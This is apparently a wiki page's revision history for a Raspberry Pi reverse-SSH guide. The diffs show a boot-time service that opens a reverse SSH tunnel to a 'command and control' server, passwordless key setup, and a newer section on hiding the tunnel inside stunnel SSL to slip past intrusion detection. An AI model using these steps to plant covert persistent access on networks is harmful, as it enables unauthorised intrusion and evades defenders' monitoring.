RaspberryPi/Reverse SSH - Revision history

Unknown user: /* Avoiding Intrusion Detection Systems */

2025-05-13T09:46:39Z

Avoiding Intrusion Detection Systems

← Older revision		Revision as of 09:46, 13 May 2025
Line 219:		Line 219:
	[[Image:WiresharkReverseSSH.png\|700px]]		[[Image:WiresharkReverseSSH.png\|700px]]

	=Avoiding Intrusion Detection ~~Systems~~=		=Avoiding Intrusion Detection System with Stunnels=

	Most intrusion detection systems or intrusion prevention systems will have ways of detecting and preventing such SSH connections. But you can still get around this, by disguising SSH traffic as some other kind of traffic.		Most intrusion detection systems or intrusion prevention systems will have ways of detecting and preventing such SSH connections. But you can still get around this, by disguising SSH traffic as some other kind of traffic.

	Enter ~~stunnel~~. Stunnel is a program that can wrap arbitrary network traffic in an SSL layer. This allows us to wrap the reverse SSH connection in an SSL layer and make it past an IDS system undetected.		Enter [[Stunnel]]. Stunnel is a program that can wrap arbitrary network traffic in an SSL layer. This allows us to wrap the reverse SSH connection in an SSL layer and make it past an IDS system undetected.

	==SSH via SSL with stunnel==		==SSH via SSL with stunnel==

Unknown user: /* Avoiding Intrusion Detection Systems */

2025-05-13T09:46:17Z

Avoiding Intrusion Detection Systems

← Older revision		Revision as of 09:46, 13 May 2025
Line 221:		Line 221:
	=Avoiding Intrusion Detection Systems=		=Avoiding Intrusion Detection Systems=

	~~A reverse SSH tunnel is essentially a VPN connection.~~ Most intrusion detection systems or intrusion prevention systems will have ways of detecting and preventing such ~~VPN~~ connections. But you can still get around this, by disguising SSH traffic as some other kind of traffic.		Most intrusion detection systems or intrusion prevention systems will have ways of detecting and preventing such SSH connections. But you can still get around this, by disguising SSH traffic as some other kind of traffic.

	Enter stunnel. Stunnel is a program that can wrap arbitrary network traffic in an SSL layer. This allows us to wrap the reverse SSH connection in an SSL layer and make it past an IDS system undetected.		Enter stunnel. Stunnel is a program that can wrap arbitrary network traffic in an SSL layer. This allows us to wrap the reverse SSH connection in an SSL layer and make it past an IDS system undetected.

Admin: /* Passwordless Login: CnC Server to Raspberry Pi */

2019-12-18T23:07:32Z

Passwordless Login: CnC Server to Raspberry Pi

← Older revision		Revision as of 23:07, 18 December 2019
Line 165:		Line 165:
	</pre>		</pre>

	This is your command and control public key. Now copy and paste this into the Raspberry Pi:		This is your command and control public key. Now copy and paste this into the Raspberry Pi's list of authorized SSH keys:

	<pre>		<pre>
Line 171:		Line 171:
	</pre>		</pre>

	and paste the contents of the public key file from your <code>cncserver</code>. This ~~basically adds your~~ cncserver to ~~the~~ Raspberry Pi~~'s whitelist~~.		and paste the contents of the public key file from your <code>cncserver</code>. This means that anyone on cncserver can now SSH into the Raspberry Pi and they will be automatically granted access without having to enter a Raspberry Pi username/password.


	==Test Reverse SSH Startup Service==		==Test Reverse SSH Startup Service==

Admin: /* Passwordless Login: Raspberry Pi to CnC Server */

2019-12-18T23:06:31Z

Passwordless Login: Raspberry Pi to CnC Server

← Older revision		Revision as of 23:06, 18 December 2019
Line 137:		Line 137:
	===Passwordless Login: Raspberry Pi to CnC Server===		===Passwordless Login: Raspberry Pi to CnC Server===

	Now let's ~~creat eSSH~~ keys, so the Pi can remotely SSH to the command and control server without a password.		Now let's create SSH keys, so the Pi can remotely SSH to the command and control server without a password.

	On our Pi:		On our Pi:

Admin: /* SSH Command */

2019-12-18T23:05:41Z

SSH Command

← Older revision		Revision as of 23:05, 18 December 2019
Line 22:		Line 22:

	<pre>		<pre>
	$ ssh -R ~~port1~~:host:~~port2~~ username@remoteserver		$ ssh -R PORT1:host:PORT2 username@remoteserver
	</pre>		</pre>

	Let's unpack what that command is doing.		Let's unpack what that command is doing.

	First, we SSH into our remoteserver with our username. This will open an SSH connection ~~from~~ the remote server to the local ~~computer~~ where the command is run.		First, we SSH into our remoteserver with our username. This will open an SSH connection between the remote server and the local machine where the SSH command is run.

	The connection between the remote server and the local computer where the command is run will happen on ~~port~~ 2.		The connection between the remote server and the local computer where the command is run will happen on PORT 2.

	This will then create a tunnel, on the remote server, from the remote server's ~~port~~ 2 to the remote server's ~~port~~ 1.		This will then create a tunnel, on the remote server, from the remote server's PORT 2 to the remote server's PORT 1.

	Anyone on the remote server who uses ~~ssh~~ to connect to ~~port~~ 1 on the local machine will be routed to the Raspberry Pi via the reverse SSH connection.		Anyone on the remote server who uses SSH to connect to PORT 1 on the local machine will be routed to the Raspberry Pi via the reverse SSH connection.

	Cool, huh?		Cool, huh?

	~~<!--~~
	~~Here's an infographic to explain:~~

	~~[[Image:ReverseSSH.png\|500px]]~~
	~~-->~~

	=Reverse SSH on Startup=		=Reverse SSH on Startup=

Admin: /* Updating Startup Sequence on Raspberry Pi */

2016-02-26T19:50:47Z

Updating Startup Sequence on Raspberry Pi

← Older revision		Revision as of 19:50, 26 February 2016
Line 134:		Line 134:
	</pre>		</pre>

	This tells you that update-rc.d creates symbolic links in <code>/etc/rcRUNLEVEL.d/NNname<code>. To do this manually:		This tells you that update-rc.d creates symbolic links in <code>/etc/rcRUNLEVEL.d/NNname</code>. To do this manually:

	<pre>		<pre>

Admin: /* Updating Startup Sequence on Raspberry Pi */

2016-02-26T19:49:59Z

Updating Startup Sequence on Raspberry Pi

@@ Line 126: / Line 126: @@
 $ update-rc.d reverse-ssh defaults
 update-rc.d: using dependency based boot sequencing
 </pre>

Admin: /* Updating Startup Sequence on Raspberry Pi */

2016-02-26T19:45:45Z

Updating Startup Sequence on Raspberry Pi

← Older revision		Revision as of 19:45, 26 February 2016
Line 124:		Line 124:
	<pre>		<pre>
	$ chmod 755 /etc/init.d/reverse-ssh		$ chmod 755 /etc/init.d/reverse-ssh
	$ update~~-rupdate~~-rc.d reverse-ssh defaults		$ update-rc.d reverse-ssh defaults
	update-rc.d: using dependency based boot sequencing		update-rc.d: using dependency based boot sequencing
	</pre>		</pre>

Admin: /* Create Reverse SSH Service */

2016-02-21T19:49:51Z

Create Reverse SSH Service

← Older revision		Revision as of 19:49, 21 February 2016
Line 64:		Line 64:

	Now you'll create a reverse SSH service in <code>/sdcard/etc/init.d/</code>. I called mine reverse-ssh.		Now you'll create a reverse SSH service in <code>/sdcard/etc/init.d/</code>. I called mine reverse-ssh.

			The following service will make the Pi automatically SSH to the command-and-control server at IP address <code>10.0.0.19</code>. The command and control server username is hard-coded.

	<source lang="bash">		<source lang="bash">
Line 91:		Line 93:
	start)		start)
	echo "Opening reverse shell."		echo "Opening reverse shell."
	/usr/bin/ssh -R 2222:localhost:22 ~~root~~@10.0.0.19;;		/usr/bin/ssh -R 2222:localhost:22 command_and_control_username@10.0.0.19;;

	*)		*)
Line 106:		Line 108:
	====Notes on Improving the Script====		====Notes on Improving the Script====

	~~It would be nice if this could do a little more checking - as in, check every N minutes if we have a network connection~~, and ~~if so~~, ~~try to get a reverse SSH~~ connection.		This script currently assumes that the Pi, when connected and turned on, will have an ethernet connection that "just works."

	~~If we don't have internet, try again.~~

	~~If we do have internet, but the remote server is not online, try again.~~

	~~As is~~, ~~we only have one shot~~.		To add more logic to the script and make it more robust, it would be better to start a Python script on startup, and that Python script could check for network interfaces, run system commands to try and establish a connection, test for an outbound connection, etc.

			As is, the script will make only one attempt to connect to the command-and-control server, immediately after startup.

	===Updating Startup Sequence on Raspberry Pi===		===Updating Startup Sequence on Raspberry Pi===

Admin: /* SSH Command */

2016-01-17T17:36:43Z

SSH Command

← Older revision		Revision as of 17:36, 17 January 2016
Line 35:		Line 35:
	Anyone on the remote server who uses ssh to connect to port 1 on the local machine will be routed to the Raspberry Pi via the reverse SSH connection.		Anyone on the remote server who uses ssh to connect to port 1 on the local machine will be routed to the Raspberry Pi via the reverse SSH connection.

	Cool, huh? Here's an infographic to explain:		Cool, huh?

			<!--
			Here's an infographic to explain:

	[[Image:ReverseSSH.png\|500px]]		[[Image:ReverseSSH.png\|500px]]
			-->

	=Reverse SSH on Startup=		=Reverse SSH on Startup=